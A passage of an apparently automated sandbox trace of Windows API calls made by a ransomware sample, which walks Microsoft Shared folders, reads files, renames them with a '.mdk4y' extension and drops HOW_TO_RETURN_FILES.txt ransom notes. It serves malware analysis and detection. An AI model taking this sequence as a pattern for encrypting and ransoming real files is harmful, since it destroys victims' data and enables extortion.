lpFindFileData=0x6bd200) returned 1 [0124.318] AreFileApisANSI () returned 1 [0124.318] GetACP () returned 0x4e4 [0124.318] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="IC-TXT.SHX", cchWideChar=10, lpMultiByteStr=0x6b7b8c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="IC-TXT.SHX", lpUsedDefaultChar=0x37dec0) returned 10 [0124.318] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0124.319] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819954900000) returned 1 [0124.319] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2b01, lpOverlapped=0x0) returned 1 [0124.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819958100000) returned 1 [0124.351] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819958100000) returned 1 [0124.352] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\IC-TXT.SHX.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\ic-txt.shx.mdk4y")) returned 1 [0124.353] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0124.353] AreFileApisANSI () returned 1 [0124.353] GetACP () returned 0x4e4 [0124.353] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ICAD.FMP", cchWideChar=8, lpMultiByteStr=0x6b7b8c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="ICAD.FMPHX", lpUsedDefaultChar=0x37dec0) returned 8 [0124.353] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0124.354] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819958400000) returned 1 [0124.354] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x146, lpOverlapped=0x0) returned 1 [0124.355] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819958500000) returned 1 [0124.355] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819958500000) returned 1 [0124.355] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\ICAD.FMP.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\icad.fmp.mdk4y")) returned 1 [0124.356] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0124.356] AreFileApisANSI () returned 1 [0124.356] GetACP () returned 0x4e4 [0124.356] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WHGDTXT.SHX", cchWideChar=11, lpMultiByteStr=0x6b7b8c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WHGDTXT.SHX", lpUsedDefaultChar=0x37dec0) returned 11 [0124.356] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0124.356] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819958600000) returned 1 [0124.357] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x369d3, lpOverlapped=0x0) returned 1 [0124.405] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819963500000) returned 1 [0124.405] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819963500000) returned 1 [0124.408] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGDTXT.SHX.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgdtxt.shx.mdk4y")) returned 1 [0124.409] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0124.409] AreFileApisANSI () returned 1 [0124.409] GetACP () returned 0x4e4 [0124.409] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WHGTXT.SHX", cchWideChar=10, lpMultiByteStr=0x6b7b8c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WHGTXT.SHXX", lpUsedDefaultChar=0x37dec0) returned 10 [0124.409] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0124.410] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819964000000) returned 1 [0124.410] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2fde5, lpOverlapped=0x0) returned 1 [0124.467] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819969700000) returned 1 [0124.467] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819969700000) returned 1 [0124.469] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHGTXT.SHX.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whgtxt.shx.mdk4y")) returned 1 [0124.472] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0124.472] AreFileApisANSI () returned 1 [0124.472] GetACP () returned 0x4e4 [0124.472] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WHTGTXT.SHX", cchWideChar=11, lpMultiByteStr=0x6b7b8c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WHTGTXT.SHX", lpUsedDefaultChar=0x37dec0) returned 11 [0124.473] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0124.473] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819970300000) returned 1 [0124.473] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x9e413, lpOverlapped=0x0) returned 1 [0124.486] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819971600000) returned 1 [0124.486] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819971600000) returned 1 [0124.494] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTGTXT.SHX.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtgtxt.shx.mdk4y")) returned 1 [0124.495] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0124.495] AreFileApisANSI () returned 1 [0124.495] GetACP () returned 0x4e4 [0124.495] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="WHTMTXT.SHX", cchWideChar=11, lpMultiByteStr=0x6b7b8c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="WHTMTXT.SHX", lpUsedDefaultChar=0x37dec0) returned 11 [0124.495] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0124.495] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819972500000) returned 1 [0124.495] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xdfc98, lpOverlapped=0x0) returned 1 [0124.600] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819983000000) returned 1 [0124.600] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819983000000) returned 1 [0124.613] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\WHTMTXT.SHX.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\whtmtxt.shx.mdk4y")) returned 1 [0124.614] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0124.614] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0124.614] AreFileApisANSI () returned 1 [0124.614] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x692108, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 90 [0124.614] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\Fonts\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\fonts\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0124.614] GetFileType (hFile=0x130) returned 0x1 [0124.618] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 0 [0124.618] FindClose (in: hFindFile=0x6ab310 | out: hFindFile=0x6ab310) returned 1 [0124.618] AreFileApisANSI () returned 1 [0124.618] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6aaea8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 84 [0124.618] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Visio Shared\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\visio shared\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dc84, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0124.618] GetFileType (hFile=0x12c) returned 0x1 [0124.619] FindNextFileW (in: hFindFile=0x6ab2d0, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0124.619] AreFileApisANSI () returned 1 [0124.619] GetACP () returned 0x4e4 [0124.619] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VSTO", cchWideChar=4, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dfd8 | out: lpMultiByteStr="VSTOo Shared", lpUsedDefaultChar=0x37dfd8) returned 4 [0124.619] AreFileApisANSI () returned 1 [0124.619] GetACP () returned 0x4e4 [0124.619] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d210, cbMultiByte=52, lpWideCharStr=0x37dd6c, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\") returned 52 [0124.620] AreFileApisANSI () returned 1 [0124.620] GetACP () returned 0x4e4 [0124.620] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr=".on Files\\Microsoft Shared\\Visio Shared\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 1 [0124.620] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0124.620] AreFileApisANSI () returned 1 [0124.620] GetACP () returned 0x4e4 [0124.620] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="..n Files\\Microsoft Shared\\Visio Shared\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 2 [0124.620] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0124.620] AreFileApisANSI () returned 1 [0124.620] GetACP () returned 0x4e4 [0124.620] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="10.0", cchWideChar=4, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="10.0Files\\Microsoft Shared\\Visio Shared\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 4 [0124.620] AreFileApisANSI () returned 1 [0124.620] GetACP () returned 0x4e4 [0124.620] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d258, cbMultiByte=57, lpWideCharStr=0x37dce0, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\i5") returned 57 [0124.627] AreFileApisANSI () returned 1 [0124.627] GetACP () returned 0x4e4 [0124.627] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dec0) returned 1 [0124.627] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0124.627] AreFileApisANSI () returned 1 [0124.627] GetACP () returned 0x4e4 [0124.627] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dec0) returned 2 [0124.627] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0124.627] AreFileApisANSI () returned 1 [0124.627] GetACP () returned 0x4e4 [0124.627] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="1033", cchWideChar=4, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="1033i", lpUsedDefaultChar=0x37dec0) returned 4 [0124.627] AreFileApisANSI () returned 1 [0124.627] GetACP () returned 0x4e4 [0124.627] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x69d2a0, cbMultiByte=62, lpWideCharStr=0x37dc54, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\㖙ĺ?") returned 62 [0124.627] AreFileApisANSI () returned 1 [0124.628] GetACP () returned 0x4e4 [0124.628] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr=".tKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37de34) returned 1 [0124.628] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0124.628] AreFileApisANSI () returned 1 [0124.628] GetACP () returned 0x4e4 [0124.628] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="..KInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37de34) returned 2 [0124.628] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0124.628] AreFileApisANSI () returned 1 [0124.628] GetACP () returned 0x4e4 [0124.628] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VSTOInstallerUI.dll", cchWideChar=19, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="VSTOInstallerUI.dllyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD", lpUsedDefaultChar=0x37de34) returned 19 [0124.628] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 1 [0124.628] AreFileApisANSI () returned 1 [0124.628] GetACP () returned 0x4e4 [0124.628] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VSTOLoaderUI.dll", cchWideChar=16, lpMultiByteStr=0x6b7cac, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="VSTOLoaderUI.dlldll", lpUsedDefaultChar=0x37de34) returned 16 [0124.628] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6bd688 | out: lpFindFileData=0x6bd688) returned 0 [0124.628] FindClose (in: hFindFile=0x6ab390 | out: hFindFile=0x6ab390) returned 1 [0124.628] AreFileApisANSI () returned 1 [0124.628] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7c98, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 86 [0124.628] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\1033\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\1033\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37db6c, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0124.643] GetFileType (hFile=0x13c) returned 0x1 [0124.644] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0124.644] AreFileApisANSI () returned 1 [0124.644] GetACP () returned 0x4e4 [0124.644] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VSTOInstaller.config", cchWideChar=20, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="VSTOInstaller.configm", lpUsedDefaultChar=0x37dec0) returned 20 [0124.644] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x13c [0124.664] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819989400000) returned 1 [0124.664] ReadFile (in: hFile=0x13c, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x2cc, lpOverlapped=0x0) returned 1 [0124.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819996500000) returned 1 [0124.735] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1819996500000) returned 1 [0124.735] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\VSTOInstaller.config.mdk4y" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\vstoinstaller.config.mdk4y")) returned 1 [0124.736] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0124.736] AreFileApisANSI () returned 1 [0124.736] GetACP () returned 0x4e4 [0124.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VSTOInstaller.exe", cchWideChar=17, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="VSTOInstaller.exefig", lpUsedDefaultChar=0x37dec0) returned 17 [0124.736] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0124.736] AreFileApisANSI () returned 1 [0124.736] GetACP () returned 0x4e4 [0124.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VSTOLoader.dll", cchWideChar=14, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="VSTOLoader.dllexe", lpUsedDefaultChar=0x37dec0) returned 14 [0124.736] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 1 [0124.736] AreFileApisANSI () returned 1 [0124.736] GetACP () returned 0x4e4 [0124.736] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="VSTOMessageProvider.dll", cchWideChar=23, lpMultiByteStr=0x6b7af4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="VSTOMessageProvider.dll", lpUsedDefaultChar=0x37dec0) returned 23 [0124.736] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6bd200 | out: lpFindFileData=0x6bd200) returned 0 [0124.737] FindClose (in: hFindFile=0x6ab350 | out: hFindFile=0x6ab350) returned 1 [0124.737] AreFileApisANSI () returned 1 [0124.737] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x6b7ae0, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 81 [0124.737] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dbf8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0124.737] GetFileType (hFile=0x130) returned 0x1 [0124.738] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0124.738] AreFileApisANSI () returned 1 [0124.738] GetACP () returned 0x4e4 [0124.738] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="vstoee.dll", cchWideChar=10, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="vstoee.dllMicrosoft Shared\\Visio Shared\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 10 [0124.738] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7598 | out: lpFindFileData=0x6b7598) returned 1 [0124.738] AreFileApisANSI () returned 1 [0124.738] GetACP () returned 0x4e4 [0124.738] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="vstoee100.tlb", cchWideChar=13, lpMultiByteStr=0x6aaebc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="vstoee100.tlbrosoft Shared\\Visio Shared\\HOW_TO_RETURN_FILES.txt", lpUsedDefaultChar=0x37df4c) returned 13 [0124.738] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\vstoee100.tlb" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\vstoee100.tlb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x130 [0124.738] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: 